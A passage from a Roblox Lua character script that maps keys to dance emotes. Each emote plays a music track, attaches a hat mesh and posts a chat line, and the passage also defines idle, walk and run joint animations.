  5949. hat.Locked = true
  5950. hat.BrickColor = BrickColor.new("Cool yellow")
  5951. hat:breakJoints()
  5952. local hatmesh = Instance.new("SpecialMesh", hat)
  5953. hatmesh.MeshId = "http://www.roblox.com/asset/?id=82348513"
  5954. hatmesh.TextureId = "http://www.roblox.com/asset/?id=36527326"
  5955. hatmesh.Scale = Vector3.new(.28, .28, .28)
  5956. local hatweld = Instance.new("Weld", hat)
  5957. hatweld.Part0 = hat
  5958. hatweld.Part1 = head
  5959. hatweld.C0 = CFrame.new(0.025, 0, 0)
  5960. end
  5961. end
  5962.  
  5963. if k == "c" then
  5964. if dancing then return end
  5965. if not sitting then
  5966. dancing = true
  5967. game:GetService("Chat"):Chat(head,"Yayyy! Caramell!",0)
  5968. dubstepgun = true
  5969. dubstep_gun:play()
  5970. end
  5971. end
  5972.  
  5973. if k == "v" then
  5974. if dancing then return end
  5975. if not sitting then
  5976. dancing = true
  5977. game:GetService("Chat"):Chat(head,"I am a pirate!",0)
  5978. youpirate = true
  5979. you_are_pirate:play()
  5980. hat = Instance.new("Part", char)
  5981. hat.FormFactor = "Custom"
  5982. hat.CanCollide = false
  5983. hat.Size = head.Size
  5984. hat.Locked = true
  5985. hat:breakJoints()
  5986. local hatmesh = Instance.new("SpecialMesh", hat)
  5987. hatmesh.MeshId = "http://www.roblox.com/asset/?id=1028848"
  5988. hatmesh.TextureId = "http://www.roblox.com/asset/?id=1028847"
  5989. hatmesh.Scale = Vector3.new(.2, .2, .2)
  5990. local hatweld = Instance.new("Weld", hat)
  5991. hatweld.Part0 = hat
  5992. hatweld.Part1 = head
  5993. hatweld.C0 = CFrame.new(0, -0.15, 0)
  5994. end
  5995. end
  5996. if k == "m" then
  5997. if dancing then return end
  5998. if not sitting then
  5999. dancing = true
  6000. game:GetService("Chat"):Chat(head,"Can't touch this!",0)
  6001. canttouch = true
  6002. cant_touch:play()
  6003. end
  6004. end
  6005. if k == "b" then
  6006. if dancing then return end
  6007. if not sitting then
  6008. dancing = true
  6009. game:GetService("Chat"):Chat(head,"Now for brony music!",0)
  6010. bronymusic = true
  6011. brony_music:play()
  6012. for _,bp in pairs(char:children()) do
  6013. if bp:IsA("BasePart") then
  6014. bp.BrickColor = BrickColor.new("Pink")
  6015. end
  6016. end
  6017. hat = Instance.new("Part", char)
  6018. hat.FormFactor = "Custom"
  6019. hat.CanCollide = false
  6020. hat.Size = head.Size
  6021. hat.Locked = true
  6022. hat.BrickColor = BrickColor.new("Lavender")
  6023. hat:breakJoints()
  6024. local hatmesh = Instance.new("SpecialMesh", hat)
  6025. hatmesh.MeshId = "http://www.roblox.com/asset/?id=1095708"
  6026. hatmesh.TextureId = "http://www.roblox.com/asset/?id=60375192"
  6027. hatmesh.Scale = Vector3.new(.25, .25, .45)
  6028. local hatweld = Instance.new("Weld", hat)
  6029. hatweld.Part0 = hat
  6030. hatweld.Part1 = head
  6031. hatweld.C0 = CFrame.new(0, -0.1, 0.05)
  6032. end
  6033. end
  6034.  
  6035. if k == "y" then
  6036. if dancing then return end
  6037. if not sitting then
  6038. dancing = true
  6039. bronymusic = true
  6040. nyan:play()
  6041. for _,bp in pairs(char:children()) do
  6042. if bp:IsA("BasePart") then
  6043. bp.BrickColor = BrickColor.new("Dark stone grey")
  6044. end
  6045. end
  6046. game:GetService("Chat"):Chat(head,"Nyan nyan nyan nyan!",0)
  6047. hat = Instance.new("Part", char)
  6048. hat.FormFactor = "Custom"
  6049. hat.CanCollide = false
  6050. hat.Size = head.Size
  6051. hat.Locked = true
  6052. hat.BrickColor = BrickColor.new("Dark stone grey")
  6053. hat:breakJoints()
  6054. local hatmesh = Instance.new("SpecialMesh", hat)
  6055. hatmesh.MeshId = "http://www.roblox.com/asset/?id=1374148"
  6056. hatmesh.TextureId = "http://www.roblox.com/asset/?id=117119031"
  6057. hatmesh.Scale = Vector3.new(.2, .30, .2)
  6058. local hatweld = Instance.new("Weld", hat)
  6059. hatweld.Part0 = hat
  6060. hatweld.Part1 = head
  6061. hatweld.C0 = CFrame.new(0, -0.15, 0.05)
  6062. end
  6063. end
  6064.  
  6065. if k == "l" then
  6066. if dancing then return end
  6067. if not sitting then
  6068. dancing = true
  6069. game:GetService("Chat"):Chat(head,"What does the fox say?!",0)
  6070. foxie = true
  6071. fox_say:play()
  6072. hat = Instance.new("Part", char)
  6073. hat.FormFactor = "Custom"
  6074. hat.CanCollide = false
  6075. hat.Size = head.Size
  6076. hat.Locked = true
  6077. hat:breakJoints()
  6078. local hatmesh = Instance.new("SpecialMesh", hat)
  6079. hatmesh.MeshId = "http://www.roblox.com/asset/?id=25266225"
  6080. hatmesh.TextureId = "http://www.roblox.com/asset/?id=25266210"
  6081. hatmesh.Scale = Vector3.new(.2, .2, .2)
  6082. local hatweld = Instance.new("Weld", hat)
  6083. hatweld.Part0 = hat
  6084. hatweld.Part1 = head
  6085. hatweld.C0 = CFrame.new(0, -0.1, 0)
  6086. end
  6087.  
  6088. end
  6089. if k == "f" then
  6090. if dancing then return end
  6091. if not sitting then
  6092. dancing = true
  6093. game:GetService("Chat"):Chat(head,"I'm wakin up!",0)
  6094. durka = true
  6095. durk:play()
  6096. end
  6097. end
  6098. if k == "g" then
  6099. if dancing then return end
  6100. if not sitting then
  6101. dancing = true
  6102. game:GetService("Chat"):Chat(head,"Now for some more music",0)
  6103. saxguy = true
  6104. sax_guy:play()
  6105. hat = Instance.new("Part", char)
  6106. hat.FormFactor = "Custom"
  6107. hat.CanCollide = false
  6108. hat.Size = head.Size
  6109. hat.Locked = true
  6110. hat:breakJoints()
  6111. local hatmesh = Instance.new("SpecialMesh", hat)
  6112. hatmesh.MeshId = "http://www.roblox.com/asset/?id=44410178"
  6113. hatmesh.TextureId = "http://www.roblox.com/asset/?id=44410320"
  6114. hatmesh.Scale = Vector3.new(.25, .25, .25)
  6115. local hatweld = Instance.new("Weld", hat)
  6116. hatweld.Part0 = hat
  6117. hatweld.Part1 = la
  6118. hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
  6119. end
  6120. end
  6121.  
  6122.  
  6123.  
  6124.  
  6125. if k == "q" then
  6126. if Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then return end
  6127. if sitting then return end
  6128. looking = true
  6129. game:GetService("Chat"):Chat(head,"I'm just tiltin",0)
  6130. rj.C0 = CFrame.new(-math.pi/6, 0,0) * CFrame.Angles(0, 0, math.pi/4)
  6131. end
  6132. if k == "e" then
  6133. if Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then return end
  6134. if sitting then return end
  6135. looking = true
  6136. game:GetService("Chat"):Chat(head,"What's wrong with tilting?",0)
  6137. rj.C0 = CFrame.new(math.pi/6, 0,0) * CFrame.Angles(0, 0, -math.pi/4)
  6138. end
  6139. if string.byte(k) == 48 or string.byte(k) == 47 then
  6140. if sitting then return end
  6141. humanoid.WalkSpeed = 30
  6142. end
  6143. if string.byte(k) == 52 then
  6144. if sitting then return end
  6145. humanoid.WalkSpeed = 10
  6146. end
  6147. end)
  6148.  
  6149. mouse.KeyUp:connect(function(k)
  6150. if string.byte(k) == 48 or string.byte(k) == 47 then
  6151. if sitting then return end
  6152. humanoid.WalkSpeed = 20
  6153. end
  6154. if string.byte(k) == 32 then
  6155. game:GetService("Chat"):Chat(head,"Party's over! For now...",0)
  6156. superannoying = false
  6157. barrelroll = false
  6158. heya = false
  6159. dubstepgun = false
  6160. youpirate = false
  6161. canttouch = false
  6162. gangnam = false
  6163. sheddy = false
  6164. durka = false
  6165. saxguy = false
  6166. foxie = false
  6167. burndem = false
  6168. bronymusic = false
  6169. canttt = false
  6170. brony_music:stop()
  6171. cant:Stop()
  6172. fox_say:stop()
  6173. spitfire:stop()
  6174. heman:stop()
  6175. justin:stop()
  6176. jb = false
  6177. durk:stop()
  6178. restorecolors()
  6179. burn_dem:stop()
  6180. if hat then
  6181. hat:Destroy()
  6182. end
  6183. sax_guy:stop()
  6184. gangy_style:stop()
  6185. cant_touch:stop()
  6186. you_are_pirate:stop()
  6187. dubstep_gun:stop()
  6188. super_annoying:stop()
  6189. barrel_roll:stop()
  6190. dancing = false
  6191. global_wait = 0
  6192. LightForTorso.Color = torso.BrickColor.Color
  6193. end
  6194.  
  6195.  
  6196. if k == "q" then
  6197. if looking then
  6198. if sitting then return end
  6199. rj.C0 = CFrame.new()
  6200. looking = false
  6201. end
  6202. end
  6203.  
  6204. if k == "e" then
  6205. if looking then
  6206. if sitting then return end
  6207. rj.C0 = CFrame.new()
  6208. looking = false
  6209. end
  6210. end
  6211. end)
  6212.  
  6213.  
  6214. game:service'RunService'.Stepped:connect(function()
  6215. count = (count % 100) + countspeed
  6216. angle = math.pi * math.sin(math.pi*2/100*count)
  6217.  
  6218. if slidecount < slidecountmax then
  6219. slidecount = slidecount + speed
  6220. end
  6221. if slidecount > slidecountmax then
  6222. slidecount = slidecount - speed
  6223. end
  6224. if global_wait == 380 then global_wait = 0 end
  6225.  
  6226. sine = sine + sinespeed
  6227. if not dancing then
  6228. if not sitting then
  6229. local ray = Ray.new(rootpart.Position, Vector3.new(0, -1, 0))
  6230. local hitz, enz = workspace:FindPartOnRay(ray, char)
  6231. if not hitz then
  6232. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles((math.pi/8/5*slidecount) + math.pi + angle*0.05, 0, 0)
  6233. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles((math.pi/8/5*slidecount) + math.pi + -angle*0.05, 0, 0)
  6234. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.28, 0, 0)
  6235. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.28, 0, 0)
  6236. if not looking then
  6237. rj.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0)
  6238. end
  6239. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
  6240. elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 2 then
  6241.  
  6242. -- idle anim
  6243.  
  6244. anim = "Idle"
  6245. if anim ~= lastanim then
  6246. if lastanim == "Walking" then
  6247. speed = 0.5
  6248. slidecount = 1
  6249. slidecountmax = 0
  6250. elseif lastanim == "Running" then
  6251. speed = 2.5
  6252. slidecount = 5
  6253. slidecountmax = 0
  6254. else
  6255. slidecount = 0
  6256. slidecountmax = 0
  6257. end
  6258. end
  6259. countspeed = 1
  6260. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(angle*0.02, 0, 0)
  6261. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.02, 0, 0)
  6262. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.01, 0, 0)
  6263. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.01, 0, 0)
  6264. if not looking then
  6265. rj.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0)
  6266. end
  6267. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
  6268. elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 14 then
  6269. looking = false
  6270. -- walk anim
  6271. anim = "Walking"
  6272. if anim ~= lastanim then
  6273. speed = 0.2
  6274. slidecount = 0
  6275. slidecountmax = 1
  6276. if lastanim == "Running" then
  6277. slidecount = 5
  6278. end
  6279. end
  6280. countspeed = 6
  6281. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(angle*0.3, 0, math.abs(angle*0.02))
  6282. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.3, 0, -math.abs(angle*0.02))
  6283. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.28, 0, -math.abs(angle*0.01))
  6284. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.28, 0, math.abs(angle*0.01))
  6285. rj.C0 = CFrame.new(0, math.abs(-angle*0.035), 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0)
  6286. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
  6287. elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then
  6288. --run anim
  6289. anim = "Running"
  6290. if anim ~= lastanim then
  6291. speed = 1
  6292. slidecount = 0
  6293. slidecountmax = 5
  6294. if lastanim == "Walking" then
  6295. slidecount = 1
  6296. end
  6297. end
  6298.  
  6299. looking = false
  6300. countspeed = 9
  6301. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(angle*0.4, 0, math.abs(angle*0.07))
  6302. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.4, 0, -math.abs(angle*0.07))
  6303. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.38, 0, -math.abs(angle*0.03))
  6304. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.38, 0, math.abs(angle*0.03))
  6305. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
  6306. rj.C0 = CFrame.new(0, math.abs(-angle*.055), 0) * CFrame.Angles(-math.pi/8/5*slidecount, math.sin(angle*0.05), 0)
  6307. end
  6308.  
  6309. lastanim = anim
  6310. else
  6311. countspeed = 1
  6312. local ray = Ray.new(rootpart.Position, Vector3.new(0, -2, 0))
  6313. local hitz, enz = workspace:FindPartOnRay(ray, char)
  6314. if not hitz then
  6315. rj.C0 = CFrame.new(0, -0.5, 0) * CFrame.Angles(-math.pi/2, 0, 0)
  6316. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.rad(30), 0, -math.pi/16)
  6317. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.rad(30), 0, math.pi/16)
  6318. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.pi-math.rad(30), 0, -math.pi/10)
  6319. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.pi-math.rad(30), 0, math.pi/10)
  6320. else
  6321. rj.C0 = CFrame.new(0, -0.35, 0) * CFrame.Angles(math.rad(10), 0, 0)
  6322. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, -math.pi/16)
  6323. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, math.pi/16)
  6324. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.rad(10), 0, -math.pi/10)
  6325. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.rad(10), 0, math.pi/10)
  6326. end
  6327.  
  6328. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(angle*0.055, 0, 0)
  6329. end
  6330. else
  6331. if superannoying then
  6332. countspeed = 5
  6333. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07))
  6334. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07))
  6335. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
  6336. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
  6337. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6338. rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
  6339. elseif barrelroll then
  6340. countspeed = 5
  6341. sinespeed = 0.1
  6342. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, math.abs(angle*0.07))
  6343. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.07))
  6344. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(0, 0, -math.abs(angle*0.03))
  6345. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, 0, math.abs(angle*0.03))
  6346. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6347. rj.C0 = CFrame.new(math.sin(sine)*2.5, 0, 0) * CFrame.Angles(-math.pi/2, math.sin(sine)*4.5, 0)
  6348. elseif dubstepgun then
  6349. global_wait = (global_wait % 380) + 1
  6350. countspeed = 5
  6351. if global_wait < 249 - 40 then
  6352. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.27))
  6353. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.27))
  6354. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
  6355. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
  6356. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6357. rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
  6358. elseif global_wait > 249 - 40 then
  6359. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.4, 0, math.abs(angle*0.11))
  6360. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.11))
  6361. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.09))
  6362. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.09))
  6363. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6364. rj.C0 = CFrame.new(0, math.abs(-angle*.075), 0) * CFrame.Angles(0, math.pi/3 + math.sin(angle*0.15), 0)
  6365. end
  6366. elseif youpirate then
  6367. global_wait = (global_wait % 380) + 1
  6368. countspeed = 5
  6369. if global_wait < 79 then
  6370. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.1, 0, -math.abs(angle*0.07))
  6371. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.2, 0, math.abs(angle*0.07))
  6372. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
  6373. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
  6374. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6375. rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
  6376. elseif global_wait < 299 then
  6377. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, math.abs(angle*0.11))
  6378. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.11))
  6379. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.2, 0, -math.abs(angle*0.1))
  6380. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.2, 0, math.abs(angle*0.1))
  6381. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), math.sin(angle*0.19), 0)
  6382. rj.C0 = CFrame.new(0, math.abs(-angle*.055+0.2), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
  6383. elseif global_wait > 299 then
  6384. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.1, 0, -math.abs(angle*0.07))
  6385. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.2, 0, math.abs(angle*0.07))
  6386. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
  6387. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
  6388. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6389. rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
  6390. end
  6391. elseif canttouch then
  6392. countspeed = 5
  6393. global_wait = (global_wait % 160) + 1
  6394. if global_wait == 160 then global_wait = 0 end
  6395. if global_wait < 39 then
  6396. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07))
  6397. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07))
  6398. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
  6399. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
  6400. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6401. rj.C0 = CFrame.new(0, math.abs(-angle*.03), 0) * CFrame.Angles(0, -math.pi/6, 0)
  6402. elseif global_wait < 79 then
  6403. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07))
  6404. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07))
  6405. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
  6406. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
  6407. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6408. rj.C0 = CFrame.new(0, math.abs(-angle*.03), 0) * CFrame.Angles(0, math.pi/6, 0)
  6409. elseif global_wait < 119 then
  6410. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(0.01, 0, 0.17)
  6411. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(0.01, 0, -0.17)
  6412. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), -math.abs(angle*0.06))
  6413. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), math.abs(angle*0.06))
  6414. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6415. rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, 0, 0)
  6416. torso.CFrame = torso.CFrame * CFrame.new(0.05, 0, 0)
  6417. elseif global_wait > 119 then
  6418. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(0.01, 0, 0.17)
  6419. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(0.01, 0, -0.17)
  6420. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), -math.abs(angle*0.06))
  6421. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), math.abs(angle*0.06))
  6422. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6423. rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, 0, 0)
  6424. torso.CFrame = torso.CFrame * CFrame.new(-0.05, 0, 0)
  6425. end
  6426. elseif gangnam then
  6427. countspeed = 5
  6428. if global_wait == 180 then global_wait = 0 end
  6429. global_wait = (global_wait % 180) + 1
  6430. if global_wait < 89 then
  6431. ls.C0 = CFrame.new(-.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, math.pi/3 + math.abs(angle*0.05))
  6432. rs.C0 = CFrame.new(.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, -math.pi/3 + -math.abs(angle*0.05))
  6433. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
  6434. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
  6435. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6436. rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
  6437. elseif global_wait > 89 then
  6438. ls.C0 = CFrame.new(-.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, math.pi/3 + math.abs(angle*0.05))
  6439. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + math.sin(angle*0.1), 0, -math.sin(angle*0.1))
  6440. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
  6441. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
  6442. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6443. rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
  6444. end
  6445. elseif foxie then
  6446. countspeed = 5
  6447. global_wait = (global_wait % 380) + 2
  6448. if global_wait < 89 then
  6449. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + math.abs(angle*0.1), 0, -math.abs(angle*0.2))
  6450. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + math.abs(angle*0.1), 0, math.abs(angle*0.2))
  6451. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
  6452. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
  6453. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6454. rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.rad(global_wait*4), 0)
  6455. elseif global_wait > 89 then
  6456. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, math.abs(angle*0.05))
  6457. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, -math.abs(angle*0.05))
  6458. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
  6459. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
  6460. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, math.sin(angle*0.1))
  6461. rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
  6462. end
  6463. elseif durka then
  6464. countspeed = 2
  6465. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, math.abs(angle*0.07))
  6466. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.07))
  6467. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, 0, -math.abs(angle*0.03))
  6468. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, 0, math.abs(angle*0.03))
  6469. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6470. rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
  6471. elseif saxguy then
  6472. countspeed = 5
  6473. ls.C0 = CFrame.new(-.25,.1,-.1) * CFrame.Angles(math.pi/2.5, 0, math.pi/4)
  6474. rs.C0 = CFrame.new(.25,.1,-.1) * CFrame.Angles(math.rad(60), 0, -math.pi/4)
  6475. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, -0.06)
  6476. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, 0.06)
  6477. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(0, 0, 0)
  6478. rj.C0 = CFrame.new(0, -math.abs(angle*0.01), math.abs(angle*0.01)) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6479. elseif heya then
  6480. countspeed = 5
  6481. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + -angle*0.2, -angle*0.1, 0)
  6482. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, angle*0.1, 0)
  6483. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
  6484. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
  6485. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
